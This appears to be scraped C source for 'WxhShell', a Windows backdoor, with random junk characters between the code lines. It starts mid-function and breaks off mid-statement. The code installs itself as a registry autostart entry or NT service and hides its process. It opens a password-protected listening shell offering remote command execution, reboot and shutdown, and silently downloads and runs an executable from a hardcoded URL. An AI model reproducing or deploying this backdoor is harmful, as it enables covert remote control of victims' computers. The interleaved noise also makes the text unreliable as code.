\3ah4"o if(NULL == hInst ) return 0; WfG(JJ ?*H9-2W@ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "jR]MZ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KCUU#t|8V\ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /s|{by`we4 jWvtv ng if (!NtQueryInformationProcess) return 0; 6NX3"i0eT 3]/.\(2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WPo:^BD if(!hProcess) return 0; o G_C?(7> sTkkM9 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @2
=z}S3O !>n|c$=;qk CloseHandle(hProcess); p@ygne4
LjaGyj>) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !][F if(hProcess==NULL) return 0; z/ 7$NxJH | o0RP|l HMODULE hMod; |~K(F<;j char procName[255]; .Evy_o\^ unsigned long cbNeeded; $^_|j1z#i ?Elg?)os if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #BY`h~&T |P~;C6sf CloseHandle(hProcess); f:woP7FP i]o"_=C if(strstr(procName,"services")) return 1; // 以服务启动 WVX`< dqc1q:k?$ return 0; // 注册表启动 A:# k } @r;wobt oyx^a9 // 主模块 s8<gK.atl int StartWxhshell(LPSTR lpCmdLine) TDNf)Mm { PJLR<9 SOCKET wsl; ^6;V}2>v} BOOL val=TRUE; H?` g!cX int port=0; s B
20/F struct sockaddr_in door; h#qN+qt} nFM@@oA if(wscfg.ws_autoins) Install(); sL^yB 0Scm?l3 port=atoi(lpCmdLine); "Fnq>iR- ^3]UZ@ if(port<=0) port=wscfg.ws_port; 06mlj6hV r&3pM2Da} WSADATA data; w?y6nTg< if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =!b6FjsiG $m| V :/ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bzZ>lyH setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OMrc_)he\ door.sin_family = AF_INET; x/fX`y|(}* door.sin_addr.s_addr = inet_addr("127.0.0.1"); !mJo'K door.sin_port = htons(port); 5|8^9Oe5 DcD{*t?x if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `#mK*Buem} closesocket(wsl); &^".2)zU return 1; 0?DC00O } 8wZf]_ ]wVk+%e if(listen(wsl,2) == INVALID_SOCKET) { tt_o$D~kg closesocket(wsl); 3_$w|ET return 1; ,e722wz } p0:kz l4$ Wxhshell(wsl); ]T:;Vo
WSACleanup(); Qdk6Qubi! `#P$ ]: return 0; Z.PBu|Kx z+{,WHjo } <Zb/ `:NaEF?Sj // 以NT服务方式启动 3VO2,PCZ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hfWFD, { r,1e 'd: DWORD status = 0; ~uWOdm-"[ DWORD specificError = 0xfffffff; feM6K!fL` tRb]7 z serviceStatus.dwServiceType = SERVICE_WIN32; M~e0lg8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1T&Rc4$Sn7 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uN*KHE+h serviceStatus.dwWin32ExitCode = 0; BR`ygrfe serviceStatus.dwServiceSpecificExitCode = 0; DTRJ/@t serviceStatus.dwCheckPoint = 0; \>. LW9 serviceStatus.dwWaitHint = 0; n.MRz WJpZ g#]" hn hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q#I"_G&{ if (hServiceStatusHandle==0) return; 7cP@jj hg.#DxRi{ status = GetLastError(); !LMN[3M_ if (status!=NO_ERROR) a]17qMl { z
/KK)u(q serviceStatus.dwCurrentState = SERVICE_STOPPED; B(a-k? serviceStatus.dwCheckPoint = 0; S_MyoXV serviceStatus.dwWaitHint = 0; 1J=.N|(@Q serviceStatus.dwWin32ExitCode = status; M-L2w" serviceStatus.dwServiceSpecificExitCode = specificError; 8
;d$54
b SetServiceStatus(hServiceStatusHandle, &serviceStatus); \J. .*,' return; -Xu.1S } Ei}/iBG@ /n~\\9#3 serviceStatus.dwCurrentState = SERVICE_RUNNING; GcIDG`RX serviceStatus.dwCheckPoint = 0; G@FI0\t serviceStatus.dwWaitHint = 0; kE>0M9EdH if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &X@Bs- } }VS3L_
;}/ yzw mT // 处理NT服务事件,比如:启动、停止 F^"_TV0va VOID WINAPI NTServiceHandler(DWORD fdwControl) N7'OPTKt& { Q$& sTM switch(fdwControl) [${
QzO { ;AR{@Fu. case SERVICE_CONTROL_STOP: ~7~~S*EQ serviceStatus.dwWin32ExitCode = 0; e0@6Pd serviceStatus.dwCurrentState = SERVICE_STOPPED; Re:jVJgBz serviceStatus.dwCheckPoint = 0; Y$N)^=7 serviceStatus.dwWaitHint = 0; =9oPowq { 9I1tN SetServiceStatus(hServiceStatusHandle, &serviceStatus); xq-17HKs } bfB\h*XO return; ur
:i)~wXn case SERVICE_CONTROL_PAUSE: \k;`}3uO serviceStatus.dwCurrentState = SERVICE_PAUSED; V/cP4{L break; &PkLp4mQ case SERVICE_CONTROL_CONTINUE: }kw/W#)J serviceStatus.dwCurrentState = SERVICE_RUNNING; L;gO;vO break; a#mNE*Dg case SERVICE_CONTROL_INTERROGATE: O^/Maa/D1 break; mNmLyU=d }; a+hd(JX0~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); j1_@qns{ } RoCfJ65 obdFS,JxxG // 标准应用程序主函数 5H=ko8fZ= int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C6O8RHg { (D@A74q\' OB[o2G <0 // 获取操作系统版本 N`)$[&NG] OsIsNt=GetOsVer(); \Mg`(,kwe GetModuleFileName(NULL,ExeFile,MAX_PATH); K3\#E/Ox +C1QY'>I // 从命令行安装 SIbDj[s if(strpbrk(lpCmdLine,"iI")) Install(); jV(6>BAI_ }g$(+1g // 下载执行文件 ,K:ll4{b if(wscfg.ws_downexe) { F4<O2!V if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8/0Y vh WinExec(wscfg.ws_filenam,SW_HIDE); G_> #Js } "V&+7"Q hJzxbr
< if(!OsIsNt) { ^F:k3,_[ // 如果时win9x,隐藏进程并且设置为注册表启动 /y^7p9Z` HideProc(); s7oT G! StartWxhshell(lpCmdLine); Bi@&nAhn@ } N}\[Gr else }(egMx;"3J if(StartFromService()) [:^-m8QC // 以服务方式启动 #
O4gg StartServiceCtrlDispatcher(DispatchTable); ICAH G7 , else Cgz D$`~ // 普通方式启动 l4TpH|k StartWxhshell(lpCmdLine); lg047K &Wf3~hmo return 0; xoOJauSX1 } !"+'A)Nve bFA!=uvA tgjr&G}a@0 *6 _tQ9G =========================================== E*?<KZe" v\`9;QV5 ZNYH#mJX* I|# 5NE6 TNQP"9[? 3pmWDG6L " U35AX9/ v=('{/^~> #include <stdio.h> >J u]2++lx #include <string.h> -48vJR*tC #include <windows.h> .rPn5D Y #include <winsock2.h> pH`44KAuM #include <winsvc.h> QJ|a p4r #include <urlmon.h> (|wz7AY2 L. ]$6Q0 #pragma comment (lib, "Ws2_32.lib") ^( Rvk #pragma comment (lib, "urlmon.lib") 'Wa,OFd\8 ^[15&T5 #define MAX_USER 100 // 最大客户端连接数
xG;-bJu #define BUF_SOCK 200 // sock buffer 0-{tFN #define KEY_BUFF 255 // 输入 buffer c^`]`xiX :W@#) 1= #define REBOOT 0 // 重启 XNgDf3T #define SHUTDOWN 1 // 关机 %p
X6QRt? N?X~ w < #define DEF_PORT 5000 // 监听端口 C;(t/zh @,XSs #define REG_LEN 16 // 注册表键长度 UU8pz{/ #define SVC_LEN 80 // NT服务名长度 jSc#+_y zS]8V?` // 从dll定义API 2S' {!A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V34hFa typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j1 =`| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -X+H2G typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xJ2*LM- 3Tq\BZ // wxhshell配置信息 DS|KkTy3 struct WSCFG { e*j. int ws_port; // 监听端口 f3|@|'
; char ws_passstr[REG_LEN]; // 口令 fh^lO ^ int ws_autoins; // 安装标记, 1=yes 0=no >&!RWH9*q char ws_regname[REG_LEN]; // 注册表键名 `>o?CIdp char ws_svcname[REG_LEN]; // 服务名 `<[6YH_ char ws_svcdisp[SVC_LEN]; // 服务显示名 Y
wkyq>Rv char ws_svcdesc[SVC_LEN]; // 服务描述信息 _bD/D!| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yz2Ci0Dwy int ws_downexe; // 下载执行标记, 1=yes 0=no NzKUtwnIz char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" eiJ2NwR\w char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zf7&._y. Z0De!?ALV\ }; *._|- L ^s.V;R // default Wxhshell configuration 4d:{HLX, struct WSCFG wscfg={DEF_PORT, Z!0]/ mCE8 "xuhuanlingzhe", V<HU6w 1, wv^rS^~ "Wxhshell", kF7V.m/~o "Wxhshell", <}6{{&mT4 "WxhShell Service", RllY-JBO "Wrsky Windows CmdShell Service", !A1)|/a@ "Please Input Your Password: ", 3sCFHn#c 1, i
ZL2p> "http://www.wrsky.com/wxhshell.exe", >u%]6_[ "Wxhshell.exe" Q
!qrNa6 }; L!_ZY Jx#k,Z4 // 消息定义模块 HyiFy7j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >!6i3E^ char *msg_ws_prompt="\n\r? for help\n\r#>"; fA48(0p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H&b3{yOa char *msg_ws_ext="\n\rExit.";
htY=w}> char *msg_ws_end="\n\rQuit."; l<(Y_PE: char *msg_ws_boot="\n\rReboot..."; LflFe@2 char *msg_ws_poff="\n\rShutdown..."; NrDi char *msg_ws_down="\n\rSave to "; W(fr<<hL TO,rxf char *msg_ws_err="\n\rErr!"; hC_Vts[v/ char *msg_ws_ok="\n\rOK!"; 0tk#Gs[ Z['\61 char ExeFile[MAX_PATH]; V E2tq k% int nUser = 0; ,a?\MM9$ HANDLE handles[MAX_USER]; HmK*b Z int OsIsNt; a'\By?V]
vFrt|JC_{ SERVICE_STATUS serviceStatus;
yz+, gLY SERVICE_STATUS_HANDLE hServiceStatusHandle; 2S`?hxAL /\mKY%kyh // 函数声明 b=a!j=-D int Install(void); HEqWoV]{d int Uninstall(void); PZ8U6K' int DownloadFile(char *sURL, SOCKET wsh); 7:=5"ScV int Boot(int flag); nA>sHy void HideProc(void); o-7>eE}+ int GetOsVer(void); H]<]^Zmjy int Wxhshell(SOCKET wsl); v;y0jD#b void TalkWithClient(void *cs); Hg}I]!B int CmdShell(SOCKET sock); vAP{;Q0i int StartFromService(void); 3HyhEVR-#~ int StartWxhshell(LPSTR lpCmdLine); RaSz>-3d AV&yoag1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]Pn!nSg VOID WINAPI NTServiceHandler( DWORD fdwControl ); [AEBF2OIv &ntBU]<q // 数据结构和表定义 2>S~I"o0 SERVICE_TABLE_ENTRY DispatchTable[] = P2n2Qt2 { _8K%`6!"Z {wscfg.ws_svcname, NTServiceMain}, "C%!8`K{a* {NULL, NULL} )Du-_Z }; #`tD1T{; Mj0Cat= // 自我安装 rlok%Rt4Z int Install(void) YTY%#"
{ a j|5 # char svExeFile[MAX_PATH]; Pn TZ/| HKEY key; a
ib}`l strcpy(svExeFile,ExeFile); G2mNm'0 <z#BsnjW{ // 如果是win9x系统,修改注册表设为自启动 6X+}>qy if(!OsIsNt) { [ET6(_=b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '\p;y7N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4 9w=kzo RegCloseKey(key); sz09+4h# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F 1|zXg) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y[HQBv RegCloseKey(key); ;:#U6?=t return 0; H$!-f>Rxa } 0*(K DDv } m% bE-# } Md(JIlh3 else { 5 Rz/Ri\c= =mrY/:V // 如果是NT以上系统,安装为系统服务 okBE|g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :k!j"@r if (schSCManager!=0) 'tWAu I { EnscDtf( SC_HANDLE schService = CreateService Md9l+[@ ( KVijs1q schSCManager, (DJvi6\H wscfg.ws_svcname, PKtU:Eg wscfg.ws_svcdisp, r=csi SERVICE_ALL_ACCESS, HCc` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \y*j4 0 SERVICE_AUTO_START, ce5nG0@# SERVICE_ERROR_NORMAL, iPU% /_> svExeFile, qc0 B<,x7 NULL, Ex,JB + NULL, RWE~&w G} NULL, _'c+fG
\ NULL, *]!l%Uf% NULL ]31$KBC ); A9n41,h if (schService!=0) $xcv > { 5Bd(>'ig_ CloseServiceHandle(schService); N *1 CloseServiceHandle(schSCManager); @KJV1t` strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {5 Kz' FT strcat(svExeFile,wscfg.ws_svcname); HXP;0B%4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]^!}*
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [0op)Kn RegCloseKey(key); thV Tdz return 0; w -dI<s } `$Kes;[X } "3ug}k CloseServiceHandle(schSCManager); 0x4l5x$8 } y^YVo^3 } Fva]*5 _Ff".t<" return 1; R25-/6_V> } AgCs;k&IG w<mqe0 // 自我卸载 /xf.\Z7< int Uninstall(void) q06@SD$
{ /=-h:0{M HKEY key; lR[z<2w\ ;3
dM@>5[ if(!OsIsNt) {
T"B8;| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]eD [4Y\#t RegDeleteValue(key,wscfg.ws_regname); 'Dq"e$JM< RegCloseKey(key); R{ 4u|A?9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $WJy?_c RegDeleteValue(key,wscfg.ws_regname); sHF%=Vu RegCloseKey(key); ? 9qAe return 0; .:SfMr;G } ]ci RiMkT( } @NBXyC8,Z } [@zkv)D6 else { h4h d<, s7AI:Zv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1k`|[l^
if (schSCManager!=0) HK?Foo? { o`25 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tPA"lBS ! if (schService!=0) VgUvD1v?} { J (=4 if(DeleteService(schService)!=0) { Wl?<c
uw00 CloseServiceHandle(schService); n/Or~@pHD CloseServiceHandle(schSCManager); x[Hhj' return 0; &KLvr| } mJ/^BT] CloseServiceHandle(schService); %jpH:-8'2 } i^~sn `o CloseServiceHandle(schSCManager); Sw/J+FO2 } &C\=!r0j^ } OrzM
hQaf ,CN#co return 1; PZ~`O } '! #On/ pFG]IM7o/u // 从指定url下载文件 1fmSk$ y.9 int DownloadFile(char *sURL, SOCKET wsh) L)@`58Eil { lrq>TJEcx HRESULT hr; 3KB|NS char seps[]= "/"; wbn^R' char *token; OA\vT${5 char *file; N;e}dwh& char myURL[MAX_PATH]; 8Ix-i char myFILE[MAX_PATH]; <aD'$(N5 D:+)uX}MOf strcpy(myURL,sURL); cu)@P 0I token=strtok(myURL,seps); `8.1&fBr while(token!=NULL) ))8Emk^Q{ { [P (rY file=token; gNG0k$nP token=strtok(NULL,seps); oUnq"] } W*1d
X"S $1:}(nO, GetCurrentDirectory(MAX_PATH,myFILE); i7Y
s_8A"9 strcat(myFILE, "\\"); y 8Ei=[ strcat(myFILE, file); DKe6?PG send(wsh,myFILE,strlen(myFILE),0); r3*+8D~a_ send(wsh,"...",3,0); =ip~J<sw& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;P0,60 if(hr==S_OK) z36brv<_'p return 0; 0(Yh~{ else 3tJ=d'U return 1; 3sd{AkD^ B<vvsp\X } [ flu|v n23%[#,r // 系统电源模块 cij]&$;Q int Boot(int flag) }3
fLV { r{;VTQ HANDLE hToken; v
Ie=wf~D` TOKEN_PRIVILEGES tkp; Y^*Lh/:h /h.:br?M#P if(OsIsNt) { N2+mN0k; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )3D+gu LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yoq\9* ?u^ tkp.PrivilegeCount = 1; (1saof*p% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >x|A7iWn{, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i}
NkHEK if(flag==REBOOT) { E-5ij,bHv3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |IyM"UH return 0; MX4 :e>dtd } Fyi?,, else { 7$Z)fkx. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JO<gN=
[ return 0; 8o%<.] } )zk?yY6 } .&*
({UM else { =Ov;'MC if(flag==REBOOT) { p3,(*eZ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )n[`Z# return 0; EDPI*@> } ?vL^:f[" else { 4X(1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?-(w][MT\ return 0; n{qa ]3 } 1A)wbH) } U:etcnb4w> |2+F I<v4 return 1; )+Y\NO?O } n41\y:CAo Wj // win9x进程隐藏模块 m\}\RnZu void HideProc(void) .LGkr@P { 8+g|>{Vov ]
fwTi(4y HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $J;=Ux)$ if ( hKernel != NULL ) q)z1</B- { Xx9~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nfd?@34"A2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U(Hq4D FreeLibrary(hKernel); -V<=`e } NZw[.s>n
Is*0?9qU return; S*DBY~pZy } e)
/u>I ;>QK}#' // 获取操作系统版本 MIua\:xT int GetOsVer(void) yrK--C8 { fi-&[llg OSVERSIONINFO winfo; NdED8 iRc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pFv[z':&Q GetVersionEx(&winfo); H $qdU!c if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'mY,>#sT return 1; aBA#\eV else LTls]@N return 0; '\E*W!R.] } xx`8>2T#e GWkJ/EX // 客户端句柄模块 o._#=7|( int Wxhshell(SOCKET wsl) w$_'xX( { VkP:%-*#v SOCKET wsh; $xn%i\ struct sockaddr_in client; .5Z@5g` DWORD myID; |{|r?3 LXLIos55S while(nUser<MAX_USER) %>z8:oJ { 5)zh@aJ@ int nSize=sizeof(client); KlX |PQ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BQfAen] if(wsh==INVALID_SOCKET) return 1; a518N*]j jiB>.te handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0|+hm^'_ if(handles[nUser]==0) p$!+2=)gY closesocket(wsh); Z-sN4fr a else m&jt[
nUser++; )b2E/G@X& } @aPu}Hi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _R<V8g1f ujHzG}2z return 0; `::(jW.KO } L!Zxc~ DBh/V#* D // 关闭 socket kE(-vE9 void CloseIt(SOCKET wsh) hw.demD { nF
y7gA| closesocket(wsh); iO= uXN1g nUser--; <Phr`/ ExitThread(0); )*<d1$aM } .+~kJ0~Y ]~x/8%e76 // 客户端请求句柄 J3}C T void TalkWithClient(void *cs) DdZ_2B2 { ~Wd8>a{w `[u>NEb SOCKET wsh=(SOCKET)cs; UU~;B char pwd[SVC_LEN]; M
#RuI% char cmd[KEY_BUFF]; \c^jaK5 char chr[1]; ;%.k}R%O@ int i,j; GN"LU>9| [67f; ?b while (nUser < MAX_USER) { {.8)gVBmA 8[P6c;\ if(wscfg.ws_passstr) { _I"<?sh3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); szs3x-g //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F"? *@L //ZeroMemory(pwd,KEY_BUFF); z{+; '9C i=0; cx%9UK*c while(i<SVC_LEN) { QL!+.y% %iFIY=W // 设置超时 >N"PLSY1 fd_set FdRead; DMpd(ws struct timeval TimeOut; gG> ^h1_o~ FD_ZERO(&FdRead); gM[
J'DMW FD_SET(wsh,&FdRead); XQ y|t"Vq> TimeOut.tv_sec=8; tl#s: TimeOut.tv_usec=0; f;dU72]q+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qCT\rZU if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m&c(N k"-#ox! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6HQwL\r79 pwd=chr[0]; #mxfU>vQ: if(chr[0]==0xd || chr[0]==0xa) { lD=j/ pwd=0; Eu~wbU"% break; "lb!m9F{ } V!tBipX% i++; l:}4
6% } f=Y9a$.:M Pt;Ahmi // 如果是非法用户,关闭 socket BkqW>[\5xm if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Upen/1 bA } Y}z?I%zL ZO$T/GE6% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V2skr_1 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J, >PLQAa ;g9:0,xT4 while(1) { ?saVk7Z[|5 o:*iT=l ZeroMemory(cmd,KEY_BUFF); [p<[83' ] =%G[vm/-) // 自动支持客户端 telnet标准 P#oV ^ j=0; ?"u-@E[m while(j<KEY_BUFF) { iP_Xr~w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2a-hf|b1 cmd[j]=chr[0]; Rj=Om if(chr[0]==0xa || chr[0]==0xd) { 8iA(:Tb cmd[j]=0; )uWNN" break; ZM!~M>B9R } F
x8)jBB_ j++; {mGWMv } JFdzA I%xJ)fIK // 下载文件 pdq h'+5 if(strstr(cmd,"http://")) { Fowh3go send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ev#aMK if(DownloadFile(cmd,wsh)) MqH~L?~}| send(wsh,msg_ws_err,strlen(msg_ws_err),0); xc?<:h" else i*j+<R@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uD3_'a } N4-J !r@#~ else { "<#:\6aym CVp<SS( switch(cmd[0]) { 8?XZF[D Y?cw9uYB // 帮助 YZ@-0_Z case '?': { Xi.?9J`@ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lX3h'h break; v(~m!8!TI } t`B']Ac;T // 安装 oJ:J'$W( case 'i': { B?Skw{& if(Install()) Gy%e%' send(wsh,msg_ws_err,strlen(msg_ws_err),0); ibyA~YUN/ else ,jmG!qJb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K-3 _4As break; Ip0q&i<6 } s=4.Ovd\ // 卸载 #C^m>o~R case 'r': { ZD(gYNi if(Uninstall()) iXFaQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); q0wVV else oV`sCr5% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !=:c8V break; 0J~4
} "RLb wm~ // 显示 wxhshell 所在路径 AK
HH{_ case 'p': { 43XuQg4 char svExeFile[MAX_PATH]; Q1z04m1_y[ strcpy(svExeFile,"\n\r"); b3+PC$z2h strcat(svExeFile,ExeFile); |+;"^<T)l send(wsh,svExeFile,strlen(svExeFile),0); }JD(e}8$! break; eAMT7 2_ } D3PF(Wx // 重启 Bh?;\D'YC case 'b': { n>WS@b/o send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OjZ@_V: if(Boot(REBOOT)) ,tZwXP{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8{C3ijR else { (yfTkBy closesocket(wsh); D6w0Y:A{. ExitThread(0); n[@Ur2& |